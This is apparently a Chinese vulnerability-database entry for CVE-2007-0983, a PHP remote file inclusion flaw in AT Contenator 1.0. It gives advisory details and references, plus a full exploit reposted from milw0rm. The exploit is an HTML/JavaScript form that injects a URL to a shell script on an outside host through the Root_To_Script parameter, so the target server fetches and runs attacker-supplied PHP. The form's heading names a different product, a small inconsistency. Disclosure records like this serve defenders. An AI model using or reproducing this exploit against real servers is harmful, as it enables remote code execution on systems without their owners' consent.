AT Contenator 'nav.php'PHP远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112215 漏洞类型 代码注入
发布时间 2007-02-13 更新时间 2007-02-16
CVE编号 CVE-2007-0983 CNNVD-ID CNNVD-200702-341
漏洞平台 PHP CVSS评分 6.8
|漏洞来源
https://www.exploit-db.com/exploits/3297
https://www.securityfocus.com/bid/86621
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200702-341
|漏洞详情
ATContenator1.0版本及其早期版本的_admin/nav.php中存在PHP远程文件包含漏洞。远程攻击者可以借助Root_To_Script参数中的一个URL,执行任意PHP代码。
|漏洞EXP
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>AT Contenator <= v1.0 (Root_To_Script) Remote File Include Exploit</title>

<script language="JavaScript">
 
//'===============================================================================================
//'[Script Name: AT Contenator <= v1.0 (Root_To_Script) Remote File Include Exploit
//'[Coded by   : ajann
//'[Author     : ajann
//'[Contact    : :(
//'[S.Page     : http://contenator.ansatheus.de/
//'[$$         : Free
//'[Using      : Write Target after Submit Click
//'===============================================================================================

//'[[ERROR]]]------------------------------------------------------
//'....
//'..
//'<?
//'
//'include($Root_To_Script.'class.readdir.php');
//'include($Root_To_Script.'SETUP_VARS.php');
//'
//'?>
//'....
//'..
//'[[ERROR]]]---------------------------------------------------------

//# ajann,Turkey
//# ...

   

     //Basic exploit,but any time : ( 
   var path="/classes/"
   var adres="/_admin/nav.php?" //File name
   var acik ="Root_To_Script=" // Line 2-3
   var shell="http://www.ehcbinningen.ch/komutverivee.txt?" // Shell Script
  
   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }


  
  rfi.action= document.rfi.target1.value+path+adres+acik+shell; // Ready Target : )
  rfi.submit(); // Form Submit
   }
</script>

</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">Site-Assistant <= v0990(paths[version])Remote File Include Exploit</font></b></p>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font face="Arial" size="1" color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" size="2" face="Arial">
  </font><font color="#FF0000" size="2"> </font></b>
  <input type="text" name="target1" size="20" style="background-color: #808000" onmouseover="javascript:this.style.background='#808080';" onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gonder" name="B1"><input type="reset" value="Sifirla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" frameborder="0"></iframe>
</p>

<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2007-02-13]
|受影响的产品
Ansatheus At Contenator 1.0
|参考资料

来源:XF
名称:atcontenator-nav-file-include(32453)
链接:http://xforce.iss.net/xforce/xfdb/32453
来源:MILW0RM
名称:3297
链接:http://www.milw0rm.com/exploits/3297
来源:VUPEN
名称:ADV-2007-0606
链接:http://www.frsirt.com/english/advisories/2007/0606
来源:SECUNIA
名称:24141
链接:http://secunia.com/advisories/24141
来源:OSVDB
名称:33209
链接:http://osvdb.org/33209
来源:MILW0RM
名称:3297
链接:http://milw0rm.com/exploits/3297
来源:VIM
名称:20070213true:ATContenator<=v1.0(Root_To_Script)RemoteFileIncludeExploit
链接:http://attrition.org/pipermail/vim/2007-February/001312.html